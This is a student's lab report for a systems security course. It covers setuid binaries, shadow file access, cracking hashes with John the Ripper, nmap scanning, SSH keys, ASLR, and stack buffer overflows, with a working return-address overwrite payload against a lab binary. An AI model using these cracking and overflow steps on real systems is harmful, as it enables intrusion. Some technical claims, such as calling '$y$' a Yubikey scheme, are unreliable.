Assignment: setiud.sh

After running *setuid.sh*, I got this output:

```
dannyone@LAPTOP-DANIL:/mnt/c/Users/danny/Desktop/studyS/Download$ sh -x setu
id.sh> setuid.log
+ /bin/rm -rf /tmp/db /tmp/submit
+ mkdir /tmp/db
+ chmod 700 /tmp/db
+ gcc -DDIR="/tmp/db/" -Wall -pedantic Setuid.c
Setuid.c: In function ‘main’:
Setuid.c:29:12: warning: implicit declaration of function ‘gets’; did you me
an ‘fgets’? [-Wimplicit-function-declaratio]
   29 |     while (gets(buf) != 0) {
      |            ^~~~
      |            fgets
/usr/bin/ld: /tmp/ccmYOCrK.o: in function `main':
Setuid.c:(.text+0x107): warning: the `gets' function is dangerous and should
 not be used.
+ mv a.out /tmp/submit
+ chmod +s /tmp/submit
+ echo aap
+ /tmp/submit
+ ls -lR /tmp/db /tmp/submit
```

After running given commands on my main account, I got the following result:

```
dannyone@LAPTOP-DANIL:/mnt/c/Users/danny/Desktop/studyS/Download$ echo Foo | /tmp/submit
rid=1000, eid=1000
rid=1000, eid=1000
dannyone@LAPTOP-DANIL:/mnt/c/Users/danny/Desktop/studyS/Download$ ls -l /tmp/db
total 4
-rw-r--r-- 1 dannyone dannyone 4 Oct  9 14:29 1000
```

Then I created a new account, called *fool*, and run those commands again, now I got this output:

```
fool@LAPTOP-DANIL:/mnt/c/Users/danny/Desktop/studyS/Download$ echo Foo | /tmp/submit
rid=1001, eid=1000
rid=1001, eid=1001
fool@LAPTOP-DANIL:/mnt/c/Users/danny/Desktop/studyS/Download$ ls -l /tmp/db
ls: cannot open directory '/tmp/db': Permission denied
```

Both accounts could execute */tmp/submit*, but the output differs, since these accounts have difference Id's.

Since my main account (**dannyone**) has read access to */tmp/db*, it can list the contents. The file is likely associated with my user ID, on the other hand The **fool** account doesn't have permission to read */tmp/db*, indicating that this directory may have restricted permissions.

Assignment: setuid programs

To get the number of programs I executed the following command: ***find / -perm -4000 -user root -type f 2>/dev/null***

I got the following output:

```
one@danny:~ $ find / -perm -4000 -user root -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/aarch64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/vncserver-x11
/usr/bin/gpasswd
/usr/bin/Xvnc
/usr/bin/ping
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/ntfs-3g
/usr/bin/mount
/usr/sbin/pppd
/usr/sbin/mount.cifs
/usr/sbin/mount.nfs
```

Programs with setuid root let any user run them with root privileges, that’s very risky because if one of this program has a vulnerability, it can let attackers gain root access. Moreover, user himself can misuse some of these programs to become root, giving access to system files or sensitive data. For this reason, It's best to keep these programs to a minimum and ensure they're essential and secure.

Assignment: setuid on vfat

I could easily copy the binary (following the instuctions below), however the attempt to setuid root fails. It happens due to the limitations of the VFAT file system and security considerations. VFAT does not support Unix file permissions, including setuid, moreover, If setuid worked, anyone could run the binary with higher privileges, which could be dangerous.

Src: https://mangohost.net/blog/mounting-usb-drives-in-linux/

Assignment: Shadow

The */etc/shadow* file is restricted because it contains sensitive hashed passwords for all system users. Only root and members of the shadow group can read it to prevent unauthorized access. Allowing normal users to read this file would expose the system to serious risks, including data theft, unauthorized access, and potential full control by malicious users.

For this reason if I use my main account I get the access:

```
dannyone@LAPTOP-DANIL:/mnt/c/Users/Public/downloads/Download$ sudo cat /etc/
shadow
[sudo] password for dannyone:
root:*:19683:0:99999:7:::
daemon:*:19683:0:99999:7:::
bin:*:19683:0:99999:7:::
sys:*:19683:0:99999:7:::
sync:*:19683:0:99999:7:::
games:*:19683:0:99999:7:::
```

While newly created account cannot see this information

```
fool@LAPTOP-DANIL:/mnt/c/Users/danny/Desktop/studyS/Download$ sudo cat /etc/
shadow
[sudo] password for fool:
fool is not in the sudoers file.  This incident will be reported.
```

Assignment: Hash algorithm

I have the following hashes:

```
dannyone:$y$j9T$J1CrY6BS.nxd5IpMR/j6l.$VNAm4D.AzQLD070owMMzFWTJoCdJXCzx.LSEP
zTkfi1:19998:0:99999:7:::
fool:$y$j9T$efqNE.LR0XEhL3MpHvBv1/$kVPewwZeu9AuqeZsPtSWcub4YGDLylLYRLMvAFXMu
6/:20005:0:99999:7:::
```

The presence of *y* indicates the use of the Yubikey password hashing scheme. To get the number of itterations I used the following commands:

cat /etc/login.defs | grep SHA_CRYPT_MIN_ROUNDS

cat /etc/login.defs | grep SHA_CRYPT_MAX_ROUNDS

I got the folowing result, so the number of itteration in my case is 5000

```
dannyone@LAPTOP-DANIL:/mnt/c/Users/Public/downloads/Download$ cat /etc/login
.defs | grep SHA_CRYPT_MIN_ROUNDS
cat /etc/login.defs | grep SHA_CRYPT_MAX_ROUNDS
# SHA_CRYPT_MIN_ROUNDS 5000
# SHA_CRYPT_MAX_ROUNDS 5000
```

Assignment: salts

Salts play a crucial role in enhancing password security by making password cracking significantly harder. It adds a random value to user's password, which is unique for this user. In this way even if two userss have the same password, their hashes will be different. Moreover, it makes life of the Attackers harder, since if he tries to brute force it, it will take much more computational effort to crack passwords, especially if the number of possible passwords is large. And since *salts* only change the length of the password, which is hashed, it doesn't affect the number of itterations, so The hash algorithm needs to be invoked the same number of times for both salted and unsalted passwords, and it is based on the iteration count specified.

Assignment: john

To crack the password, I had to install john using the following command: *sudo apt install john*

After than, I have tried to pass *passwd-old.txt* to john, but this folder was not seen, so I manualy created *file.txt* and copied there all the data from *passwd-old.txt* and then used john with the new file. This time the passowrd was cracked and I got the following output, so the password is 12345

```
dannyone@LAPTOP-DANIL:/mnt/c/Users/Public/downloads/Download$ john file.txt
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345            (pi)
1g 0:00:00:00 100% 2/3 14.28g/s 40742p/s 40742c/s 40742C/s 123456..222222
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Assignment: Iteration count

I used the following command to get access to the file: *sudo nano /etc/login.defs* In this file I found

grep SHA_CRYPT_MIN_ROUNDS and grep SHA_CRYPT_MAX_ROUNDS and replaced their values with 10 000. In this way I doubled the iteration count and therefore increased the security of my system:

```
dannyone@LAPTOP-DANIL:/mnt/c/Users/Public/downloads/Download$ cat /etc/login.defs | grep SHA_CRYPT_MIN_ROUNDS
 SHA_CRYPT_MIN_ROUNDS 10000
dannyone@LAPTOP-DANIL:/mnt/c/Users/Public/downloads/Download$ cat /etc/login.defs | grep SHA_CRYPT_MAX_ROUNDS
 SHA_CRYPT_MAX_ROUNDS 10000
```

Assignment: Jumbo

I installed jumbo following the guide below, and then tried to run it on *passwd-new.txt* I was wainting for 14 hours and then I understood that it will take forever if I try to crack this code in this way.

```
0g 0:10:34:05 3/3 0g/s 1236p/s 1236c/s 1236C/s tsagkb..tsh1y2
0g 0:10:48:22 3/3 0g/s 1240p/s 1240c/s 1240C/s suevzje..suetbex
0g 0:12:11:16 3/3 0g/s 1265p/s 1265c/s 1265C/s gbbite..gbbil6
0g 0:13:54:49 3/3 0g/s 1279p/s 1279c/s 1279C/s ct7836..ct78df
```

So I had to use mask, since the code had length of 5, I used the following command*:*

john --mask= ?a?a?a?a?a passwd-new.txt

The ***?a*** means any character (lowercase, uppercase, digits, and special characters)

After that, I had to wait for another 2 hours, however this time the password was succesfully cracked and I found that the password was: **TCS21**

```
pi:TCS21:1000:1000:,,,:/home/pi:/bin/bash

1 password hash cracked, 0 left
```

Src: https://github.com/openwall/john/blob/bleeding-jumbo/doc/INSTALL

Assignment: nmap

First of all, I used ***nmap*** command and specified my PI's ip. From the result I found that my Raspberry Pi has port 22 open and is running an SSH server. After that I used ***nc*** command with my PI's ip and a port number. I got this SSH bunner: *SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3*

It shows that Pi is running ***OpenSSH*** version *9.2p1.* which is part of *Debian-based distribution*

```
one@danny:~ $ nmap 192.168.137.194
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-10 16:41 CEST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 16:41 (0:00:00 remaining)
Nmap scan report for danny.mshome.net (192.168.137.194)
Host is up (0.000065s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds
one@danny:~ $ nc 192.168.137.194 22
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
```

Assignment: SSH public key authentication

First of all I generated an SSH keypair on my laptop using the following command.

```
PS C:\Users\danny> ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (C:\Users\danny/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in C:\Users\danny/.ssh/id_rsa
Your public key has been saved in C:\Users\danny/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:cISCHGxJtOxcu2OmeQOni7Hyfx3HvQUKJ7Hag8EDf1g danny@LAPTOP-DANIL
The key's randomart image is:
+---[RSA 2048]----+
| =++    ..       |
| .*.o ..E        |
| .o .=.o.o       |
| o . .*o= . .    |
|  o .  BS= o .   |
|  . ..o + + . .  |
|.  +=  . +   o   |
|.+.=o.. .    .   |
|+.=+.o           |
+----[SHA256]-----+
```

After that I copied public key manyaly using scp (since the command, which copied the id_rsa.pub wasn't working) And from this moment I was able to use my passphrase instead of my PI's password:

```
PS C:\Users\danny> ssh one@danny
Enter passphrase for key 'C:\Users\danny/.ssh/id_rsa':
Linux danny 6.6.31+rpt-rpi-2712 #1 SMP PREEMPT Debian 1:6.6.31-1+rpt1 (2024-
05-29) aarch64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Oct 10 17:05:55 2024 from fe80::563c:ed2e:3fba:8e6a%eth0
one@danny:~ $ 
```

Assignment: Password protected SSH keys

Setting a passphrase for SSH keypair adds an important layer of security, since even if someone gains access to my private key file, they will also need the passphrase to use it. And eve if my laptop was stollen, it wouldn't guarantee that an attacker can immediately log into my PI. Passphrase prevents *unauthorized Access* and *Key Theft*, providing an additional barrier against possible attackers.

Assignment: Hardware tokens

Advantages of Hardware Tokens for SSH Authentication:

- *Reduced Key Theft Risk*: Tokens securely store cryptographic keys, which never leave the device, minimizing the risk of theft, since physical device is much harder to steal than the digital one
- *Two-Factor Authentication (2FA)*: Many tokens support 2FA, adding an extra layer of security.
- *User Convenience*: Easy to use—simply insert the token to authenticate.
- *Durability*: Tokens are robust and can withstand physical wear, unlike software keys.

Assignment: ProcessLayout reloaded

I compiled and run *ProcessLayout.c* and from the output I found that stack is readable and writeable:

```
00007ffddf497000     132      16      16 rw---   [ stack ]
```

The stack holds dynamically allocated data for each function call, which needs to be frequently modified as the program runs. These modifications require both reading from and writing to the stack, so without these permisons, the stack has no sence. It is not executable, since it's only purpose is to store data, so making it not executable allows us to separate code from data which is very good from a security point of view. Since if the stack is non-executable, attacks which involve writing malicious code to the stack, like *stack-based buffer overflows*, are significantly harder to perform.

Assignment: ASLR

Address Space Layout Randomization (ASLR) is a security feature that randomizes the memory addresses used by various components of a program each time it runs. It makes lifes of the attacker much harder, since due to ASLR it is not so easy to predict where specific code or data is stored. To disable this feature I used the following command: *sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'* After that I run ProcessLayout several times and got the same result:

```
dannyone@LAPTOP-DANIL:/mnt/c/Users/danny/Desktop/studyS/Download$ ./Process
pid=14526, tid=0x7ffff7d89740
sbrk 0x55555557a000
sbrk 0x55555567a000
sbrk 0x55555577a000
tid=0x7ffff7587640 stack=0x7ffff7586e48
tid=0x7ffff6d86640 stack=0x7ffff6d85e48
tid=0x7ffff7d88640 stack=0x7ffff7d87e48
14526:   ./Process
Address           Kbytes     RSS   Dirty Mode  Mapping
0000555555554000       4       4       0 r---- Process
0000555555555000       4       4       0 r-x-- Process
0000555555556000       4       4       0 r---- Process
0000555555557000       4       4       4 r---- Process
0000555555558000       4       4       4 rw--- Process
0000555555559000    3204       4       4 rw---   [ anon ]
00007ffff6586000       4       0       0 -----   [ anon ]
00007ffff6587000    8192       8       8 rw---   [ anon ]
00007ffff6d87000       4       0       0 -----   [ anon ]
00007ffff6d88000    8192       8       8 rw---   [ anon ]
00007ffff7588000       4       0       0 -----   [ anon ]
00007ffff7589000    8204      16      16 rw---   [ anon ]
00007ffff7d8c000     160     160       0 r---- libc.so.6
00007ffff7db4000    1620     996       0 r-x-- libc.so.6
00007ffff7f49000     352     124       0 r---- libc.so.6
00007ffff7fa1000       4       0       0 ----- libc.so.6
00007ffff7fa2000      16      16      16 r---- libc.so.6
00007ffff7fa6000       8       8       8 rw--- libc.so.6
00007ffff7fa8000      52      20      20 rw---   [ anon ]
00007ffff7fbb000       8       4       4 rw---   [ anon ]
00007ffff7fbd000      16       0       0 r----   [ anon ]
00007ffff7fc1000       8       4       0 r-x--   [ anon ]
00007ffff7fc3000       8       8       0 r---- ld-linux-x86-64.so.2
00007ffff7fc5000     168     168       0 r-x-- ld-linux-x86-64.so.2
00007ffff7fef000      44      40       0 r---- ld-linux-x86-64.so.2
00007ffff7ffb000       8       8       8 r---- ld-linux-x86-64.so.2
00007ffff7ffd000       8       8       8 rw--- ld-linux-x86-64.so.2
00007ffffffde000     132      12      12 rw---   [ stack ]
---------------- ------- ------- -------
total kB           30436    1632     120
```

That means that memory addresses are not randomized anymore and that makes my life as an atacker easier.

Assignment: Lottery

```c
#include <stdio.h>

int main(int argc, char** argv) {
    char buf[20];
    int won;

    won = 0;
    printf("Enter your name:\n");
    gets(buf);
    if (won) {
        printf("Congratulations %s, you won the lottery!\n", buf);
    } else {
        printf("Sorry %s, you did not win the lottery!\n", buf);
    }
    return 0;
}
```

Obviously, as we can see in the code, no input can let you win the lottery, if we are trying to do it fair, however, by overflowing the buffer (20 bytes), I can rewrite the variable responsible for winning the lottery. So, first of all, I have tried value, which is more than 20 bytes, and then increased its size, untill I got this error:

```
*** stack smashing detected ***: terminated
Aborted
```

This is another security feature, so I had to disable it by adding a flag to gcc command : ***gcc -o lottery -fno-stack-protector lottery.c*** After that the error disappeared, so I have tried several more inputs and found this one: *00000000000000000000000000001* :

```
Enter your name:
00000000000000000000000000001
Congratulations 00000000000000000000000000001, you won the lottery!
```

The length of this input is **29**. It takes **20** bytes to fill the buffer + **4** bytes of padding + **4** bytes for *int won* and the last **29th** byte overwrites the value of the *won* variable, allowing me to win this lottery!

Assignment: Stack protector

After recompiling *lottery.c* with this flag: ***-fstack-protector-all*** I enabled stack canaries again. And now the program detects stack smashing and for this reason my previous input doesn't work anymore:

```
Enter your name:
00000000000000000000000000001
Sorry 00000000000000000000000000001, you did not win the lottery!
*** stack smashing detected ***: terminated
Aborted
```

Assignment: Attack1

To get the address of ***secret*** function I used gdb and disassemble this function, using the following command: *disassembe secret* I got the following address: **0x0000555555550d14**

```
(gdb) disassemble secret
Dump of assembler code for function secret:
   0x0000555555550d14 <+0>:     stp     x29, x30, [sp, #-16]!
```

Assignment: Attack1 return pointer

To find the number of bytes which can overwrite return address, I have tried inputs of different length. When the length reached **40**, I got *Segmentation fault*.

```
one@danny:~/Downloads/attack $ ./attack1
123456789012345678901234567890123456789
Nothing happened
one@danny:~/Downloads/attack $ ./attack1
1234567890123456789012345678901234567890
Segmentation fault
```

Thit means that the first byte of the return address was overwritten. From the previous exercise, I have found that the length of the return address on is 8 bytes. So in total I need **47** bytes in order to overwrite the entire return address.

Assignment: Attack 1 exploit

If I need to execute *secret* I have to overwrite return address into address of the *secret* function, which I found in previous exercise (**0x0000555555550d14**). Since I already know that to overwrite the entire return address I need to enter 47 bytes of data and the data starting from **40th** byte will be "new return address", I have to put the address of the *secret* function between 40th and 47th byte. Moreover, stack is **LIFO**, for this reason I have to enter the address in the reverse order. I used the following command for that:

```
one@danny:~/Downloads/attack $ printf "0000000000000000000000000000000000000000\x14\x0d\x55\x55\x55\x55\x00\x00" | ./attack1
```

I got the following result, that's the result of the *secret* function execution and the ouput was so long that I had to disconnect my PI to stop it.

```
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
statd:x:103:65534::/var/lib/nfs:/usr/sbin/nologin
avahi:x:104:110:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
dnsmasq:x:105:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
lightdm:x:106:111:Light Display Manager:/var/lib/lightdm:/bin/false
rtkit:x:107:112:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:108:117:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:109:120::/var/lib/saned:/usr/sbin/nologin
vnc:x:992:992:vnc:/nonexistent:/usr/sbin/nologin
colord:x:110:121:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:111:7:HPLIP system user,,,:/run/hplip:/bin/false
one:x:1000:1000:,,,:/home/one:/bin/bash
client_loop: send disconnect: Connection reset
PS C:\Users\danny>
```

Assignment: Attack 1 with your own code

If I overwrite the return address with the address of the first instruction of my code, then the program will jump to this address instead of the address of the previous function. After that the program will start executing my code without any questions. This is a classic technique used in buffer overflow exploits, known as **shellcode injection**.

Src: https://www.crow.rip/crows-nest/mal/dev/inject/shellcode-injection

Assignment: Attack1 with stack canaries

My previous input doesn't work, because with stack protection enabled, a *canary value* is added before the return address on the stack. By overflowing the buffer, I overwrite the canary value, however programs cannot find this *canary value* before jumping to the return address, so it aborts, preventing the exploit. Of course, my input can be addopted for this binary as well just by placing this *canary value* right before address of the *secret* function. However it is almost imposible to find this value, so I couldn't do it, nevertheless it is possible.

Assignment: Attack2 exploit

Assignment: Attack2 with stack canaries exploit

Assignment: ASLR enabled

Address Space Layout Randomization (ASLR) is a security feature that randomizes the memory addresses used by various components of a program each time it runs. When I enable it back, it randomize the memory and since my exploit relies on fixed addresses (*return address*) , it fails because I can no longer reliably predict the memory addresses needed for the overflow to work.

Danil Badarev

S 3210928